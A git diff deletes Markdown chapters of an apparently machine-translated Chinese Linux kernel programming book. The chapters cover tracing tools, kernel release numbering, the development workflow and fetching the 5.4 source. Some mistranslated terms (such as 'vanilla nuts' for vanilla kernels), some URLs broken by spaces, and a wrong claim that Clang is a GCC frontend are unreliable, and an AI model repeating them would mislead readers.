is a frontend to GCC that is becoming more popular even for kernel builds. You can install it on Ubuntu with `sudo apt install clang clang-tools`. - -静态分析工具可以拯救这一天。花在学习有效使用它们上的时间是值得的! - -## 下一代 Linux 跟踪工具包 - -强大的**Linux 追踪工具包下一代** ( **LTTng** )工具集是*追踪*和*剖析*的绝佳工具,这是一个 Linux 基础项目。LTTng 允许您详细跟踪用户空间(应用)和/或内核代码路径。这可以极大地帮助您理解性能瓶颈出现在哪里,以及帮助您理解整个代码流,从而了解代码实际上是如何执行其任务的。 - -为了学习如何安装和使用它,我在这里向您推荐它非常好的文档:[https://lttng.org/docs](https://lttng.org/docs)(尝试[https://lttng.org/download/](https://lttng.org/download/)安装常见的 Linux 发行版)。强烈建议您安装跟踪罗盘图形用户界面:[https://www.eclipse.org/tracecompass/](https://www.eclipse.org/tracecompass/)。它为检查和解释 LTTng 的输出提供了一个优秀的图形用户界面。 - -Trace Compass minimally requires a **Java Runtime Environment** (**JRE**) to be installed as well. I installed one on my Ubuntu 20.04 LTS system with `sudo apt install openjdk-14-jre`. - -举个例子(我无法抗拒!),这里有一张 LTTng 捕获的截图,被高超的 Trace Compass GUI“可视化”了。在这里,我展示了几个硬件中断(IRQ 第 1 行和第 130 行,分别是 i8042 和 Wi-Fi 芯片组在我的原生 x86_64 系统上的中断线路。): - -![](img/5e90682a-129a-4f49-8312-228877fae1b5.png) - -Figure 1.9 – Sample screenshot of the Trace Compass GUI; samples recorded by LTTng showing IRQ lines 1 and 130 - -上一张截图上半部分的粉色代表硬件中断的发生。在下面,在 IRQ vs Time 选项卡中(仅部分可见),可以看到中断分布。(分布图中 *y* 轴为所用时间;有趣的是,红色的网络中断处理程序似乎花费的时间很少,而蓝色的 i8042 键盘/鼠标控制器芯片的处理程序花费的时间更长,甚至超过了 200 微秒!) - -## procmap 实用程序 - -可视化内核的完整内存映射**虚拟地址空间** ( **VAS** )以及任何给定进程的用户 VAS 是`procmap`实用程序的设计目标。 - -其 GitHub 页面上的描述总结如下: - -它以垂直平铺格式输出给定进程的完整内存映射的简单可视化,该格式按虚拟地址降序排列。该脚本具有显示内核和用户空间映射以及计算和显示将要出现的稀疏内存区域的智能。此外,每个片段或映射都按相对大小进行缩放(并为可读性进行颜色编码)。在 64 位系统上,它还显示了所谓的非规范稀疏区域或“空洞”(x86_64 上通常接近 16,384 PB)。 - -该实用程序包括仅查看内核空间或用户空间的选项、详细和调试模式、以方便的 CSV 格式将其输出导出到指定文件的能力,以及其他选项。它还有一个内核组件,目前在 x86_64、AArch32 和 Aarch64 处理器上工作(并自动检测)。 - -Do note, though, that I am still working on this utility; it's currently under development... there are several caveats. Feedback and contributions are most appreciated! - -从[https://github.com/kaiwan/procmap](https://github.com/kaiwan/procmap)下载/克隆: - -![](img/e9ced2ed-dab6-4546-85ce-19b3076643e3.png) - -Figure 1.10 – A partial screenshot of the procmap utility's output, showing only the top portion of kernel VAS on x86_64 - -我们在[第 7 章](07.html)、*内存管理内部组件-要点*中很好地利用了这个工具。 - -## 简单嵌入式 ARM Linux 系统自由/开源软件项目 - -**SEALS** 或 **Simple Embedded ARM Linux 系统**是一个运行在仿真 ARM 机器上的非常简单的“骨架”Linux 基础系统。它提供了一个主要的 Bash 脚本,通过菜单询问最终用户想要什么功能,然后相应地为 ARM 交叉编译一个 Linux 内核,然后创建并初始化一个简单的根文件系统。然后,它可以调用 QEMU ( `qemu-system-arm`)来模拟和运行 ARM 平台(通用快速 CA-9 是模拟的默认板)。有用的是,脚本构建了目标内核、根文件系统和根文件系统镜像文件,并为引导做好了准备。它甚至有一个简单的图形用户界面(或控制台)前端,使最终用户的使用更加简单。项目的 GitHub 页面在这里:[https://github.com/kaiwan/seals/](https://github.com/kaiwan/seals/)。克隆它,试一试...我们绝对推荐你看看它在[https://github.com/kaiwan/seals/wiki](https://github.com/kaiwan/seals/wiki)的 wiki 版块页面,寻求帮助。 - -## BPF 的现代追踪和性能分析 - -众所周知的**柏克莱包过滤**或**BPF****eBPF***的一个扩展就是**扩展的 BPF** *。*(仅供参考,该术语的现代用法只是将其称为 **BPF** ,去掉了“e”字头)。非常简单地说,BPF 曾经在内核中提供支持基础设施来有效地跟踪网络数据包。BPF 是最近的一项内核创新——仅从 Linux 4.0 内核开始提供。它扩展了 BPF 的概念,使您能够跟踪的不仅仅是网络堆栈。此外,它还用于跟踪内核空间和用户空间应用。*实际上,BPF 及其前端是在 Linux 系统上进行跟踪和性能分析的现代方法*。* - - *要使用 BPF,您需要一个具有以下功能的系统: - -* Linux 内核 4.0 或更高版本 -* BPF 的内核支持([https://github . com/iovisor/bcc/blob/master/INSTALL . MD #内核-配置](https://github.com/iovisor/bcc/blob/master/INSTALL.md#kernel-configuration)) -* 安装了 **BCC** 或`bpftrace`前端(在流行的 Linux 发行版上安装它们的链接:[https://github . com/iovisor/BCC/blob/master/INSTALL . MD # installing-BCC](https://github.com/iovisor/bcc/blob/master/INSTALL.md#installing-bcc)) -* 目标系统上的根访问 - -直接使用 BPF 内核特性非常困难,因此有几个更容易使用的前端。其中,BCC 和`bpftrace`被认为是有用的。查看以下图片链接,您会发现有多少强大的 BCC 工具可以帮助跟踪不同的 Linux 子系统和硬件:[https://github . com/iovisor/BCC/blob/mastimg/BCC _ tracing _ tools _ 2019 . png](https://github.com/iovisor/bcc/blob/mastimg/bcc_tracing_tools_2019.png)。 - -Important: You can install the BCC tools for your regular host Linux distro by reading the installation instructions here: [https://github.com/iovisor/bcc/blob/master/INSTALL.md](https://github.com/iovisor/bcc/blob/master/INSTALL.md). Why not on our guest Linux VM? You can, when running a distro kernel (such as an Ubuntu- or Fedora-supplied kernel). The reason: the installation of the BCC toolset includes (and depends upon) the installation of the `linux-headers-$(uname -r)` package; this `linux-headers` package exists *only for* distro kernels (and not for our custom 5.4 kernel that we shall often be running on the guest). - -BCC 的主站点可以在[https://github.com/iovisor/bcc](https://github.com/iovisor/bcc)找到。 - -## 驱动验证项目 - -俄罗斯 Linux 验证中心成立于 2005 年,是一个开源项目;它在复杂软件项目的自动化测试方面有专家,因此也是专家。这包括对核心 Linux 内核以及内核中主要设备驱动程序执行的全面测试套件、框架和详细分析(静态和动态)。这个项目也非常注重*内核模块*的测试和验证,很多类似的项目都倾向于略读。 - -这里我们特别感兴趣的是在线 Linux 驱动验证服务页面([http://linuxtesting.org/ldv/online?action=rules](http://linuxtesting.org/ldv/online?action=rules));它包含了一些经过验证的规则的列表(图 1.11): - -![](img/ea75f050-cf81-481a-bc86-e16d47c02872.png) - -Figure 1.11 – Screenshot of the 'Rules' page of the Linux Driver Verification (LDV) project site - -通过浏览这些规则,我们不仅可以看到规则,还可以看到主线内核中的驱动程序/内核代码违反这些规则的实际情况,从而引入错误。LDV 项目已经成功地发现并修复了(通过以通常的方式发送补丁)几个驱动程序/内核错误。在接下来的几章中,我们将提到这些 LDV 规则违规的实例(例如,内存泄漏、**免费后使用**(**【UAF】**)bug 和锁定违规)已经被发现,甚至(可能)被修复。 - -LDV 网站上有一些有用的链接: - -* Linux 验证中心主页;[http://linuxtesting.org/](http://linuxtesting.org/) -* Linux 内核空间验证;[http://linuxtesting.org/kernel](http://linuxtesting.org/kernel) -* 在线 Linux 驱动验证服务页面**已验证规则**:[http://linuxtesting.org/ldv/online?action=rules](http://linuxtesting.org/ldv/online?action=rules) -* *Linux 内核中的问题*页面;列出了现有驱动程序中发现的 400 多个问题(大部分也已修复);[http://linuxtesting.org/results/ldv](http://linuxtesting.org/results/ldv) - -# 摘要 - -在本章中,我们详细介绍了开始进行 Linux 内核开发时,设置适当的开发环境所需的硬件和软件要求。此外,我们提到了基础知识,并在适当的地方提供了链接,用于设置树莓皮设备,安装强大的工具,如 QEMU 和交叉工具链等。作为一名初露头角的内核和/或设备驱动程序开发人员,我们还介绍了一些其他“杂项”工具和项目,以及如何开始查找内核文档的信息。 - -在这本书里,我们绝对推荐并期望你以实践的方式尝试和研究内核代码。为此,您必须设置一个适当的内核工作空间环境,我们已经在本章中成功地完成了这一点。 - -现在我们的环境已经准备好了,让我们继续前进,探索 Linux 内核开发的勇敢世界!接下来的两章将教你如何从源代码下载、提取、配置和构建一个 Linux 内核。 - -# 问题 - -作为我们的总结,这里有一个问题列表,供您测试您对本章材料的知识:[https://github . com/packt publishing/Linux-Kernel-Programming/tree/master/questions](https://github.com/PacktPublishing/Linux-Kernel-Programming/tree/master/questions)。你会在这本书的 GitHub repo 中找到一些问题的答案:[https://GitHub . com/PacktPublishing/Linux-Kernel-Programming/tree/master/solutions _ to _ assgn](https://github.com/PacktPublishing/Linux-Kernel-Programming/tree/master/solutions_to_assgn)。 - -# 进一步阅读 - -为了帮助您用有用的材料更深入地研究这个主题,我们在本书的 GitHub 存储库中的进一步阅读文档中提供了一个相当详细的在线参考资料和链接列表(有时甚至是书籍)。*进一步阅读*文档可在此处获得:[https://github . com/packt publishing/Linux-Kernel-Programming/blob/master/进一步阅读. md](https://github.com/PacktPublishing/Linux-Kernel-Programming/blob/master/Further_Reading.md) 。* \ No newline at end of file diff --git a/docs/linux-kernel-prog/02.md b/docs/linux-kernel-prog/02.md deleted file mode 100644 index d39d709a..00000000 --- a/docs/linux-kernel-prog/02.md +++ /dev/null @@ -1,1144 +0,0 @@ -# 二、从源码构建 5.x Linux 内核——第一部分 - -从源代码构建 Linux 内核是开始内核开发之旅的一种有趣的方式!放心,这是一个漫长而艰苦的旅程,但这就是它的乐趣,对吗?内核构建主题本身足够大,值得分成两章,这一章和下一章。 - -本章和下一章的主要目的是详细描述如何从零开始、从源代码开始构建 Linux 内核。在本章中,您将初步了解如何将稳定的普通 Linux 内核源代码树下载到来宾 Linux **虚拟机** ( **VM** )(所谓普通内核,我们指的是 Linux 内核社区在其存储库[https://www.kernel.org](https://kernel.org)上发布的普通且常规的默认内核源代码)。接下来,我们将学习一点关于内核源代码的布局——实际上,获得内核代码库的 10,000 英尺视图。接下来是实际的内核构建方法。 - -在继续之前,有一条关键信息:任何 Linux 系统,无论是超级计算机还是微型嵌入式设备,都有三个必需的组件:引导加载程序、操作系统内核和根文件系统。在本章中,我们只关注从源代码构建 Linux 内核。我们不深入研究根文件系统的细节,并且(在下一章中)学习最低限度地配置(非常特定于 x86 的)GNU GRUB 引导加载程序。 - -在本章中,我们将涵盖以下主题: - -* 内核构建的准备工作 -* 从源代码构建内核的步骤 -* 步骤 1–获取 Linux 内核源代码树 - -* 步骤 2–提取内核源树 -* 步骤 3–配置 Linux 内核 -* 定制内核菜单–添加我们自己的菜单项 - -# 技术要求 - -我假设您已经完成了[第 1 章](01.html)、*内核工作区设置*,并且已经适当地准备了一个运行 Ubuntu 18.04 LTS(或 CentOS 8,或这些发行版的更高稳定版本)的来宾 VM,并且安装了所有需要的包。如果没有,我强烈建议你先做这个。 - -为了充分利用这本书,我强烈建议您首先设置工作空间环境,包括为代码克隆这本书的 GitHub 存储库([https://github.com/PacktPublishing/Linux-Kernel-Programming](https://github.com/PacktPublishing/Linux-Kernel-Programming)),并以动手的方式进行工作*。* - -# 内核构建的准备工作 - -在构建和使用 Linux 内核的过程中,从一开始就了解一些有助于您的事情是很重要的。首先,Linux 内核及其姊妹项目是完全分散的——这是一个虚拟的、在线的开源社区!我们最接近办公室的是:Linux 内核(以及几十个相关项目)的管理权掌握在 Linux 基金会([https://linuxfoundation.org/](https://linuxfoundation.org/))手中;此外,它还管理着 Linux 内核组织,这是一个向公众免费分发 Linux 内核的私人基金会([https://www.kernel.org/nonprofit.html](https://www.kernel.org/nonprofit.html))。 - -我们在本节中讨论的一些要点包括: - -* 内核版本或版本号命名法 -* 典型的内核开发工作流程 -* 存储库中存在不同类型的内核源树 - -有了这些信息,您将能够更好地完成内核构建过程。好了,让我们来复习一下前面的每一点。 - -## **内核发布术语** - -要查看内核版本号,只需在你的 Shell 上运行`uname -r`。如何精准解读`uname -r`的输出?在我们的 Ubuntu 发行版 18.04 LTS 来宾虚拟机上,我们运行`uname(1)`,通过`-r`选项开关仅显示当前内核版本或版本: - -```sh -$ uname -r -5.0.0-36-generic -``` - -Of course, by the time you read this, the Ubuntu 18.04 LTS kernel has certainly been upgraded to a later release; that's perfectly normal. The 5.0.0-36-generic kernel was the one I encountered with the Ubuntu 18.04.3 LTS at the time of writing this chapter. - -现代 Linux 内核发行号命名如下: - -```sh -major#.minor#[.patchlevel][-EXTRAVERSION] -``` - -这也经常被写成或描述为`w.x[.y][-z]`。 - -`patchlevel`和`EXTRAVERSION`组件周围的方括号表示它们是可选的。下表总结了版本号组件的含义: - -| **释放#组件** | **表示** | **示例编号** | -| 专业`#`(或`w`) | 主要或主要编号;目前,我们在 5.x 内核系列上,因此主要数字是`5`。 | `2`、`3`、`4`和`5` | -| 次要`#`(或`x`) | 次要数字,分级在主要数字之下。 | `0`向前 | -| `[patchlevel]`(或`y`) | 当需要进行重大的错误/安全修复时,有时会在次要编号(也称为 ABI 或修订版)下应用于稳定内核。 | `0`向前 | -| `[-EXTRAVERSION]`(或`-z`) | 也叫`localversion`;通常由分发内核用来跟踪它们的内部变化。 | 各不相同;Ubuntu 使用`w.x.y-'n'-generic` | - -Table 2.1 – Linux kernel release nomenclature - -因此,我们现在可以解释我们的 Ubuntu 18.04 LTS 发行版的内核版本号`5.0.0-36-generic`: - -* **少校#(或 w)** : `5` -* **小调#(或 x)** : `0` -* **【patch level】(或 y)** : `0` -* **【-外向】(或-z)** : `-36-generic` - -请注意,分发内核可能会也可能不会完全遵循这些约定,这完全取决于它们。在[https://www.kernel.org/](https://www.kernel.org/)上发布的普通或香草果仁确实遵循这些惯例(至少在莱纳斯决定改变它们之前)。 - -(a) As part of an interesting exercise configuring the kernel, we will later change the `localversion` (aka `-EXTRAVERSION`) component of the kernel we build. -(b) Historically, in kernels before 2.6 (IOW, ancient stuff now), the *minor number* held a special meaning; if an even number, it indicated a stable kernel release, if odd, an unstable or beta release. This is no longer the case. - -## 内核开发工作流——基础 - -在这里,我们简要概述了典型的内核开发工作流。任何像您这样对内核开发感兴趣的人都应该至少最低限度地了解这个过程。 - -A detailed description can be found within the kernel documentation here: [https://www.kernel.org/doc/html/latest/process/2.Process.html#how-the-development-process-works](https://www.kernel.org/doc/html/latest/process/2.Process.html#how-the-development-process-works). - -一个常见的误解,尤其是在它的婴儿时期,是 Linux 内核是以一种非常特别的方式开发的。这完全不是真的!内核开发过程已经发展成为一个(大部分)运行良好的系统,有一个完整的文档化过程,并且期望内核贡献者应该知道什么才能很好地使用它。我请你参考前面的链接了解完整的细节。 - -为了让我们看一看典型的开发周期,让我们假设我们的系统上克隆了最新的主线 Linux Git 内核树。 - -The details regarding the use of the powerful `git(1)` **Source Code Management** (**SCM**) tool is beyond the scope of this book. Please see the *Further reading* section for useful links on learning how to use Git. Obviously, I highly recommend gaining at least basic familiarity with using `git(1)`. - -如前所述,截止到撰写本文时,**5.4 内核**是最新的**长期稳定** ( **LTS** )版本,所以后续的资料中会用到。那么,它是怎么来的呢?显然,它是从**版本候选** ( **rc** )内核及其之前的稳定内核版本演变而来的,在这种情况下,它将是*v 5.4-RC ' n’*内核及其之前的稳定 *v5.3* 内核。我们使用如下的`git log`命令来获取内核 Git 树中按日期排序的标签的人类可读日志。在这里,我们只对导致 5.4 LTS 内核发布的工作感兴趣,因此我们特意截断了以下输出,只显示了这一部分: - -The `git log` command (that we use in the following code block, and in fact any other `git` sub-commands) will only work on a `git` tree. We use the following one purely for demonstrating the evolution of the kernel. A bit later, we will show how you can clone a Git tree. - -```sh -$ git log --date-order --graph --tags --simplify-by-decoration --pretty=format:'%ai %h %d' -* 2019-11-24 16:32:01 -0800 219d54332a09 (tag: v5.4) -* 2019-11-17 14:47:30 -0800 af42d3466bdc (tag: v5.4-rc8) -* 2019-11-10 16:17:15 -0800 31f4f5b495a6 (tag: v5.4-rc7) -* 2019-11-03 14:07:26 -0800 a99d8080aaf3 (tag: v5.4-rc6) -* 2019-10-27 13:19:19 -0400 d6d5df1db6e9 (tag: v5.4-rc5) -* 2019-10-20 15:56:22 -0400 7d194c2100ad (tag: v5.4-rc4) -* 2019-10-13 16:37:36 -0700 4f5cafb5cb84 (tag: v5.4-rc3) -* 2019-10-06 14:27:30 -0700 da0c9ea146cb (tag: v5.4-rc2) -* 2019-09-30 10:35:40 -0700 54ecb8f7028c (tag: v5.4-rc1) -* 2019-09-15 14:19:32 -0700 4d856f72c10e (tag: v5.3) -* 2019-09-08 13:33:15 -0700 f74c2bb98776 (tag: v5.3-rc8) -* 2019-09-02 09:57:40 -0700 089cf7f6ecb2 (tag: v5.3-rc7) -* 2019-08-25 12:01:23 -0700 a55aa89aab90 (tag: v5.3-rc6) -[...] -``` - -啊哈!在前面的代码块中,您可以清楚地看到稳定的 5.4 内核于 2019 年 11 月 24 日发布,5.3 树于 2019 年 9 月 15 日发布(您也可以通过查找其他有用的内核资源来验证这一点,例如[https://kernelnewbies.org/LinuxVersions](https://kernelnewbies.org/LinuxVersions))。 - -对于最终导致 5.4 内核的开发系列来说,后一个日期(2019 年 9 月 15 日)标志着下一个稳定内核的**合并窗口**的开始,为期(大约)两周。在此期间,开发人员被允许向内核树提交新代码(实际上,实际工作早就开始了;这项工作的成果现已并入主线(此时)。 - -两周后(2019 年 9 月 30 日),合并窗口关闭,`rc`内核工作开始,`5.4-rc1`当然是第一个`rc`版本。`-rc`(也称为 prepatch)树主要致力于合并补丁和修复(回归)bug,最终导致被主要维护者(Linus Torvalds 和 Andrew Morton)确定为“稳定”的内核树。预匹配的数量(`-rc`版本)各不相同。然而,这个“错误修复”窗口通常需要 6 到 10 周,之后新的稳定内核就会发布。在前面的代码块中,我们可以看到八个候选发布内核最终导致了 v5.4 树在 2019 年 11 月 24 日的稳定发布(总共耗时 70 天)。 - -通过[https://github.com/torvalds/linux/releases](https://github.com/torvalds/linux/releases)的发布页面可以更直观地看到这一点: - -![](img/2ff835f8-e969-42bd-91f1-cb514f2f954b.png) - -Figure 2.1 – The releases leading up to the 5.4 LTS kernel (read it bottom-up) - -前面的截图是部分截图,展示了各种*v 5.4-RC ' n‘*版本候选内核如何最终导致 LTS 5.4 树的发布(2019 年 11 月 25 日, *v5.4-rc8* 是最后一个`rc`版本)。工作从来没有真正停止过:到 2019 年 12 月初, *v5.5-rc1* 发布候选人出局。 - -一般来说,以 5.x 内核系列为例(其他最近的`major`内核系列也是如此),内核开发工作流程如下: - -1. 5.x 稳定发布。因此,5.x+1(主线)内核的合并窗口已经开始。 -2. 合并窗口保持打开大约 2 周,新的补丁被合并到主线中。 -3. 一旦(通常)2 周过去,合并窗口关闭。 -4. `rc`(又名主线,prepatch)内核启动。 *5.x+1-rc1,5.x+1-rc2,...,5.x+1-rcn* 发布。这个过程需要 6 到 8 周。 -5. 稳定发布到了:新的 *5.x+1* 稳定内核发布。 -6. 发布交给“稳定团队”: - * 重大错误或安全修复导致发布 *5.x+1.y :* - *5.x+1.1,5* *。x+1.2,...,5.x+1.n* 。 - * 一直保持到下一个稳定版本或达到**寿命终止** ( **EOL** )日期 - -...整个过程重复进行。 - -因此,当您现在看到 Linux 内核版本时,所涉及的名称和过程将变得有意义。现在让我们继续看看不同类型的内核源代码树。 - -## 内核源树的类型 - -有几种类型的 Linux 内核源代码树。关键的一个是**长期支持** ( **LTS** )内核。好的,那么什么是 LTS 发布内核呢?这仅仅是一个“特殊”的版本,从这个意义上来说,内核维护者将继续在它的基础上支持重要的错误和安全修复(嗯,安全问题通常只是错误),直到给定的停产日期。 - -LTS 内核的“寿命”通常至少为 2 年,还可以再延长几年(有时会延长)。我们将在本书中使用的 **5.4 LTS 内核**是第 20 个LTS 内核并且**的寿命刚刚超过 6 年——从 2019 年 11 月到 2025 年 12 月**。 - -存储库中有几种类型的发布内核。然而,在这里,我们提到一个不完整的列表,从最少到最稳定(因此,他们的生命,从最短到最长的时间跨度): - -* **-下一个树**:这确实是出血边缘,这里收集了带有新补丁的子系统树进行测试和审查。这是一个上游内核贡献者将要做的工作。 -* **预匹配,也称为-rc 或主线**:这些是在发布之前生成的发布候选内核。 -* **稳定内核**:顾名思义,这就是业务端。这些内核通常由发行版和其他项目(至少从一开始)获得。它们也被称为香草核。 -* **分布和 LTS 核**:分布核(很明显)是分布提供的核。它们通常以基础香草/稳定的果仁开始。LTS 内核是专门维护更长时间的内核,使其对工业/生产项目和产品特别有用。 - -In this book, we will work throughout on the latest LTS kernel as of the time of writing, which is the 5.4 LTS kernel. As I mentioned in [Chapter 1](01.html), *Kernel Workspace Setup*, the 5.4 LTS kernel was initially slated to have an EOL of "at least December 2021." Recently (June 2020), it's now been pushed **to** **December 2025**, keeping this book's content current and valid for years to come! - -* **超级 LTS (SLTS)内核**:更长时间维护的 LTS 内核(由*民用基础设施平台*([https://www.cip-project.org/](https://www.cip-project.org/),一个 Linux 基金会项目)。 - -挺直观的。尽管如此,我还是建议您访问 kernel.org 的 Releases 页面,以获取关于发布内核类型的详细信息:[https://www.kernel.org/releases.html](https://www.kernel.org/releases.html)。同样,要了解更多细节,请访问*开发过程如何工作*([https://www.kernel.org/doc/html/latest/process/2.Process.html #开发过程如何工作](https://www.kernel.org/doc/html/latest/process/2.Process.html#how-the-development-process-works))。 - -有趣的是,某些 LTS 内核是非常长期的版本,被恰当地命名为 **SLTS** 或**超级 LTS** 内核。例如,4.4 Linux 内核(第 16 版LTS 版)被认为是 SLTS 内核。作为为 SLTS 选择的第一个内核,民用基础设施平台将提供支持,至少到 2026 年,可能到 2036 年。 - -可以使用`curl(1)`以非交互式脚本方式查询存储库`www.kernel.org`(以下输出是截至 2021 年 1 月 5 日的 Linux 状态): - -```sh -$ curl -L https://www.kernel.org/finger_banner The latest stable version of the Linux kernel is: 5.10.4 -The latest mainline version of the Linux kernel is: 5.11-rc2 -The latest stable 5.10 version of the Linux kernel is: 5.10.4 -The latest stable 5.9 version of the Linux kernel is: 5.9.16 (EOL) -The latest longterm 5.4 version of the Linux kernel is: 5.4.86 -The latest longterm 4.19 version of the Linux kernel is: 4.19.164 -The latest longterm 4.14 version of the Linux kernel is: 4.14.213 -The latest longterm 4.9 version of the Linux kernel is: 4.9.249 -The latest longterm 4.4 version of the Linux kernel is: 4.4.249 -The latest linux-next version of the Linux kernel is: next-20210105 -$ -``` - -当然,当你读到这篇文章的时候,很有可能(事实上是肯定的)内核已经进一步发展,并且会出现更高的版本。对于像这本书这样的书,我能做的最好的事情就是在写作的时候选择最新的 LTS 内核。 - -Of course, it's happened already! The 5.10 kernel was released on 13 December 2020 and, as of the time of writing (just before going to print), the work on the 5.11 kernel is in progress... - -最后,下载给定内核的另一种安全方式是由内核维护者提供的,他们提供了一个脚本来安全地下载给定的 Linux 内核源代码树,并验证其 PGP 签名。这里有脚本:[https://git . kernel . org/pub/SCM/Linux/kernel/git/mricon/korg-helpers . git/tree/get-verified-tarball](https://git.kernel.org/pub/scm/linux/kernel/git/mricon/korg-helpers.git/tree/get-verified-tarball)。 - -好了,现在我们已经掌握了内核版本命名法和内核源代码树类型的知识,是时候开始我们构建内核的旅程了。 - -# 从源代码构建内核的步骤 - -作为方便快捷的参考,以下是从源代码构建 Linux 内核所需的关键步骤。因为每一个的解释都非常详细,所以你可以参考这个总结来看到更大的图景。步骤如下: - -1. 通过以下任一选项获取 Linux 内核源代码树: - - * 以压缩文件的形式下载特定的内核源代码 - * 克隆(内核)Git 树 -2. 将内核源树提取到主目录中的某个位置(如果通过克隆 Git 树获得内核,请跳过这一步)。 -3. 配置:根据新内核需要选择内核支持选项, - `make [x|g|menu]config`,首选方式为`make menuconfig`。 -4. 用`make [-j'n'] all`构建内核的可加载模块和任何**设备树 blob**(**dtb**)。这将构建压缩内核映像(`arch//boot/[b|z|u]image`)、未压缩内核映像(`vmlinux`)、`System.map`、内核模块对象和任何已配置的 DTB 文件。 -5. 用`sudo make modules_install`安装刚刚构建的内核模块。 - 此步骤默认在`/lib/modules/$(uname -r)/`下安装内核模块。 -6. 设置 GRUB 引导加载程序和`initramfs`(之前称为`initrd`)映像(x86 特定): - `sudo make install`: - * 这将在`/boot`下创建并安装`initramfs`(或`initrd`)图像。 - * 它更新引导加载程序配置文件来引导新内核(第一个条目)。 -7. 自定义 GRUB 引导加载程序菜单(可选)。 - -这一章是关于这个主题的两个章节中的第一个,基本上涵盖了*步骤 1 到 3* ,同时也加入了许多必要的背景材料。下一章将介绍剩余步骤, *4 至 7* 。那么,让我们从*第一步*开始。 - -# 步骤 1–获取 Linux 内核源代码树 - -在本节中,我们将看到获取 Linux 内核源代码树的两种主要方式: - -* 通过从 Linux 内核公共存储库中下载并提取特定的内核源代码树([https://www.kernel.org](https://www.kernel.org)) -* 通过克隆 Linus Torvalds 的源树(或其他树)–例如`linux-next` Git 树 - -但是如何决定使用哪种方法呢?对于大多数像您这样从事项目或产品工作的开发人员来说,已经做出了决定——该项目使用了非常特定的 Linux 内核版本。因此,您将下载那个特定的内核源代码树,如果需要的话,很可能将特定于项目的补丁应用于它,并使用它。 - -对于那些打算向主线内核贡献或“上游”代码的人来说,第二种方法——克隆 Git 树——是适合你的方法。(当然,还有更多;我们在*类型的内核源树*部分中描述了一些细节)*。* - -在下一节中,我们将演示这两种方法。首先,我们描述了从内核存储库中下载特定内核源树(而不是 Git 树)的方法。为此,我们在撰写本文时选择了最新的 LTS 5.4 Linux 内核。在第二种方法中,我们克隆一个 Git 树。 - -## 下载特定的内核树 - -首先,内核源代码在哪里?简而言之,它位于公共内核库服务器上,在[https://www.kernel.org](https://www.kernel.org)可见。本网站首页显示最新稳定的 Linux 内核版本,以及最新的`longterm`和`linux-next`版本(以下截图为截至 2019 年 11 月 29 日的网站。它以众所周知的`yyyy-mm-dd` 格式显示日期): - -![](img/3b94402e-51bb-4daf-9a65-72f09ecdab8f.png) - -Figure 2.2 – The kernel.org site (as of 29 November 2019) A quick reminder: we also provide a PDF file that has the full-color images of the screenshots/diagrams used in this book. You can download it here: [https://static.packt-cdn.com/downloads/9781789953435_ColorImages.pdf](_ColorImages.pdf). - -有许多方法可以下载(压缩的)内核源文件。让我们看看其中的两个: - -* 一种互动的,也许是最简单的方式,是访问前面的网站,然后简单地点击适当的`tarball`链接。浏览器会将图像文件(以`.tar.xz`格式)下载到您的系统中。 -* 或者,您可以使用`wget(1)`实用程序从命令行(Shell 或命令行界面)下载它(我们也可以使用强大的`curl(1)`实用程序)。例如,要下载稳定的 5.4.0 内核源代码压缩文件,我们可以执行以下操作: - -```sh -wget --https-only -O ~/Downloads/linux-5.4.0.tar.xz https://mirrors.edge.kernel.org/pub/linux/kernel/v5.x/linux-5.4.0.tar.xz -``` - -If the preceding `wget(1)` utility doesn't work, it's likely because the kernel (compressed) `tarball` link changed. For example, if it didn't work for `5.4.0.tar.xz`, try the same `wget` utility but change the version to `5.4.1.tar.xz`. - -这将安全地下载 5.4.0 压缩内核源代码树到你的电脑的`~/Downloads`文件夹。当然,您可能不希望在存储库的主页上显示内核的版本。例如,如果对于我的特定项目,我需要最新的 4.19 稳定(LTS)内核,即第 19 个LTS 版本,会怎么样?简单:通过浏览器,只需点击[https://www.kernel.org/pub/](https://www.kernel.org/pub/)(或镜像[https://mirrors.edge.kernel.org/pub/](https://mirrors.edge.kernel.org/pub/))链接(紧接在前几行显示的“HTTP”链接右侧)并导航到服务器上的`linux/kernel/v4.x/`目录(您可能会被定向到镜像站点)。或者,只需将`wget(1)`指向网址(此处,截至撰写本文时,恰好是[https://mirrors . edge . kernel . org/pub/Linux/kernel/v 4 . x/Linux-4 . 19 . 164 . tar . xz](https://mirrors.edge.kernel.org/pub/linux/kernel/v4.x/linux-4.19.164.tar.xz))。 - -## 克隆 Git 树 - -对于像您这样正在开发并希望向上游贡献代码的开发人员来说,您*必须*开发最新版本的 Linux 内核代码库。内核社区中有最新版本的细微变化。如前所述,`linux-next`树以及其中的一些特定分支或标签就是为此目的而工作的树。 - -然而,在这本书里,我们并不打算深究建立一棵`linux-next`树的血淋淋的细节。这个过程已经被很好地记录下来,我们不希望仅仅重复说明(详细链接见*进一步阅读*部分)。具体应该如何克隆`linux-next`树的详细页面在这里:*使用 linux-next、*[https://www.kernel.org/doc/man-pages/linux-next.html](https://www.kernel.org/doc/man-pages/linux-next.html),如这里所述, *linux-next 树*、[http://git . kernel . org/cgit/Linux/kernel/git/next/Linux-next . git](http://git.kernel.org/cgit/linux/kernel/git/next/linux-next.git)是针对下一个内核合并窗口的补丁保存区域。如果您正在进行最前沿的内核开发,您可能希望从该树而不是 Linus Torvalds 的主线树开始工作。 - -出于我们的目的,克隆*主线* Linux Git 存储库(Torvalds 的 Git 树)就足够了。这样做(在一行中键入): - -```sh -git clone https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git -``` - -Note that cloning a complete Linux kernel tree is a time-, network-, and disk-consuming operation! Ensure you have sufficient disk space free (at least a few gigabytes worth). - -Performing `git clone --depth n <...>`, where `n` is an integer value, is very useful to limit the depth of history (commits) and thus keep the download/disk usage low(er). As the `man` page on `git-clone(1)` mentions for the `--depth` option: "Create a shallow clone with a history truncated to a specified number of commits." - -根据前面的提示,为什么不做下面的事情(同样,在一行中键入这个)? - -```sh -git clone --depth=3 https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git -``` - -如果您打算处理这个主线 Git 树,请跳过*步骤*2–*提取内核源树*部分(因为`git clone`操作在任何情况下都将提取源树),并继续后面的部分(*步骤 3–配置 Linux 内核)*。 - -# 步骤 2–提取内核源树 - -如前所述,本节是为那些已经从存储库中下载了特定 Linux 内核的人准备的,[https://www.kernel.org](https://www.kernel.org)*并打算构建它。在本书中,我们使用 5.4 LTS 内核版本。另一方面,如果您已经在主线 Linux Git 树上执行了`git clone`,如前一节所示,您可以安全地跳过这一节,转到内核配置的下一节。* - - 